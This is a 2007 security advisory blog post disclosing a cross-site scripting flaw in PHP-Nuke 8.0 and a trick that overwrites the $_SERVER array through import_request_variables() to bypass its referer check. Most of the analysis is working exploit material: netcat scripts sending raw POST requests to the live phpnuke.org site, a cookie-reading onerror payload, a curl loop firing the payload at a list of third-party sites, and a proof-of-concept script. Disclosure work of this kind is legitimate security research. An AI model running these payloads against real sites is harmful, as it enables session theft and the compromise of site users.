ush.it - a beautiful place

Php Nuke wild POST XSS

March 9, 2007 at 12:47 am - Filed under aa, bb - 1530 words, reading time ~5 minutes - Permalink - Comments

To demonstrate the import_request_variables() bug i've exploited a XSS flaw in PHP NUKE 8.0 that has an anti-CSRF routine. The import_request_variables() vulnerability will permit you to exploit a wide range of vectors (XSS, remote file inclusion, remote code execution, SQL injections, etc.) on software that makes use of it.

Php Nuke POST XSS on steroids

 Name              Php Nuke POST XSS on steroids
 Systems Affected  PHP >=4.0.7 <=5.2.1, GLOBALS OFF, Php Nuke 8.0 and
                   others (partially verified)
 Severity          Medium
 Vendor            http://php nuke.org/
 Advisory          http://www_ush_it/2007/03/09/php-nuke-wild-post-xss/
 Authors           Francesco `ascii` Ongaro (ascii@ush.it)
                   Stefano `wisec` di Paola (stefano.dipaola@wisec.it)
 Date              20070307

I. BACKGROUND

Php Nuke is a CMS written in PHP. This advisory is just an example on
how to exploit an XSS on platforms that use anti CSRF techniques with
the import_request_variables() bypass.

II. DESCRIPTION

An XSS vulnerability exists in the handling of the query post variable
in the Search function of the Downloads module. This is exploitable in
special conditions; you need:

 - PHP >=4.0.7 <=5.2.1 to use the import_request_variables() trick
 - register_globals off (doesn\'t work with globals on)
 - Php Nuke 8 and others

III. ANALYSIS

Php Nuke 8.0 is vulnerable to an XSS on _POST, you can verify this using
the provided testsuite.

--- >8 --- >8 --- >8 --- >8 --- testsuite.sh --- >8 --- >8 --- >8 --- >8

#!/bin/bash

cat > REQ << TOKEN
POST /modules.php?name=Downloads&d_op=search&query= HTTP/1.1
Host: www.phpnuke.org
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2)
Gecko/20070220 Firefox/2.0.0.2
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Referer: http://www.phpnuke.org/modules.php?name=Downloads
Cookie: lang=english
Content-Type: application/x-www-form-urlencoded
Content-Length: 23 query=token<>token TOKEN cat REQ | nc www.phpnuke.org 80 -vvv --- >8 --- >8 --- >8 --- >8 --- ------------ --- >8 --- >8 --- >8 --- >8 $ ./testcase | grep \"token<>token\" DNS fwd/rev mismatch: www.phpnuke.org != ev1s-67-15-16-43.ev1servers.net www.phpnuke.org [67.15.16.43] 80 (http) open <form action=\"modules.php?name=Downloads&d_op=search&query=token<>toke Infact the injection is in the form action: <form action=\"modules.php?name=Downloads&d_op=search&query=token<>token\" method=\"post\"> When you will try to apply CSRF to this bug (eg. you need a gateway page to send the post query) you\'ll notice that Php Nuke has a generic piece of code in mainfile.php that prevents posting with a \"wrong\" referrer. Test this with the following two testsuites: --- >8 --- >8 --- >8 --- >8 --- testsuit1.sh --- >8 --- >8 --- >8 --- >8 #!/bin/bash cat > REQ << TOKEN POST /modules.php?name=Downloads&d_op=search&query= HTTP/1.1 Host: www.phpnuke.org User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Connection: close Referer: http://www.phpnuke.org/modules.php?name=Downloads Cookie: lang=english Content-Type: application/x-www-form-urlencoded Content-Length: 55 query=\"><img src=evil onerror=alert(document.cookie) /> TOKEN cat REQ | nc www.phpnuke.org 80 -vvv --- >8 --- >8 --- >8 --- >8 --- testsuit2.sh --- >8 --- >8 --- >8 --- >8 #!/bin/bash cat > REQ << TOKEN POST /modules.php?name=Downloads&d_op=search&query= HTTP/1.1 Host: www.phpnuke.org User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Connection: close Referer: http://www.evil.com/ Cookie: lang=english Content-Type: application/x-www-form-urlencoded Content-Length: 55 query=\"><img src=evil onerror=alert(document.cookie) /> TOKEN cat REQ | nc www.phpnuke.org 80 -vvv --- >8 --- >8 --- >8 --- >8 --- ------------ --- >8 --- >8 --- >8 --- >8 In the first case the attack will succeed cause the referrer matches, in the second the anti-off-domain-post-check will block your attempt and you\'ll get a message like: Posting from another server not allowed! It seems that other versions have this check too. --- >8 --- >8 --- >8 --- >8 --- ------------ --- >8 --- >8 --- >8 --- >8 for i in `cat urls.txt`; do echo $i; curl -s \"http://$1/modules.php?name=Downloads&d_op=search\" \\ -d \'query=asd&query=\"token<img src=\"wrong\" onerror=alert(document.cookie) /><\"\' \\ -e \"www.tin.it\" -H \"User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1\"; done; echo http://XXXXopic.it/ Posting from another server not allowed! http://XXXXnuke.org/ Posting from another server not allowed! http://XXXXir.it/ Posting from another server not allowed! http://XXXXesi.it/ Posting from another server not allowed! http://XXXXoft.it/ Posting from another server not allowed! --- >8 --- >8 --- >8 --- >8 --- ------------ --- >8 --- >8 --- >8 --- >8 The initial part of mainfile.php can be synthesized as following: --- >8 --- >8 --- >8 --- >8 --- ------------ --- >8 --- >8 --- >8 --- >8 // get php version $phpver = phpversion(); // convert superglobals if php is lower then 4.1.0 if ($phpver < \'4.1.0\') { [..cut..] } // override old superglobals if php is higher then 4.1.0 if($phpver >= \'4.1.0\') { [..cut..] } if (!ini_get(\'register_globals\')) { @import_request_variables(\"GPC\", \"\"); } [..] // Posting from other servers in not allowed if ($_SERVER[\'REQUEST_METHOD\'] == \"POST\") { if (isset($_SERVER[\'HTTP_REFERER\'])) { if (!stripos_clone($_SERVER[\'HTTP_REFERER\'], $_SERVER[\'HTTP_HOST\'])) die(\'Posting from another server not allowed!\'); } else die($posttags); } --- >8 --- >8 --- >8 --- >8 --- ------------ --- >8 --- >8 --- >8 --- >8 So if globals are off using the import_request_variables() trick we can overwrite the _SERVER array and bypass the check (yes, you can do a lot of other things too, this is just an example). Use this code to replicate the issue: --- >8 --- >8 --- >8 --- >8 --- poc.sh --- >8 --- >8 --- >8 --- >8 #!/bin/bash cat > testsuite.php << TOKEN <?php echo \'GLOBALS \'.(int)ini_get(\"register_globals\").\"\\\\n\"; if (!ini_get(\'register_globals\')) import_request_variables(\'GPC\'); // Posting from other servers in not allowed if (\\$_SERVER[\'REQUEST_METHOD\'] == \"POST\") { if (isset(\\$_SERVER[\'HTTP_REFERER\'])) { if (!stripos(\\$_SERVER[\'HTTP_REFERER\'], \\$_SERVER[\'HTTP_HOST\'])) die(\'Posting from another server not allowed!\'); } else die(\'No referer!\'); } echo \'IM THE PAGE!\'.\"\\n\"; ?> TOKEN --- >8 --- >8 --- >8 --- >8 --- ------ --- >8 --- >8 --- >8 --- >8 $ curl \"http://XXXX/hack-phpnuke8/testsuite.php\" GLOBALS 0 IM THE PAGE! $ curl \"http://XXXX/hack-phpnuke8/testsuite.php\" -d \"ima=post\" GLOBALS 0 No referer! $ curl \"http://XXXX/hack-phpnuke8/testsuite.php\" -d \"ima=post\" \\ -e \"www.tin.it\" GLOBALS 0 Posting from another server not allowed! $ curl \"http://XXXX/hack-phpnuke8/testsuite.php\" \\ -d \"ima=post&_SERVER=evil\" -e \"www.tin.it\" GLOBALS 0 IM THE PAGE! Doesn\'t this seems cyclic to you? stripos will return TRUE if the array element doesn\'t exists. IV. DETECTION Php Nuke 8.0 and others are affected, please test with the supplied testsuites. You can download Php Nuke from here : ) https://secure.bmt|removeme|micro.com/servlets/Orders.ShoppingCart?CID=4&PRODUCTID=19850011 V. WORKAROUND Turn globals on. VI. VENDOR RESPONSE Will fix, probably. VII. CVE INFORMATION No CVE at this time. VIII. DISCLOSURE TIMELINE 20070307 Discovery 20070308 What do you expect here? 20070309 Full disclosure IX. CREDIT Francesco \'ascii\' Ongaro is credited with the discovery of this vulnerability. X. LEGAL NOTICES Copyright (c) 2007 Francesco \'ascii\' Ongaro Note: this exploit is DOUBLE LICENSED: 1. If you\'ll use it for personal and non-profit purposes you can apply GPL v2 and above. 2. In the case you plain to: a. use our code in any commercial context b. implement this code in your non-GPL application c. use this code during a Penetration Test d. make any profit from it you need to contact me in order to obtain a _commercial license_. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without my express written consense. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email me for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.
Reed's Alert! Got something burning? Tell USH team.
THP USH (HTTPS) Wisec DigitalBullets TheHackersPlace network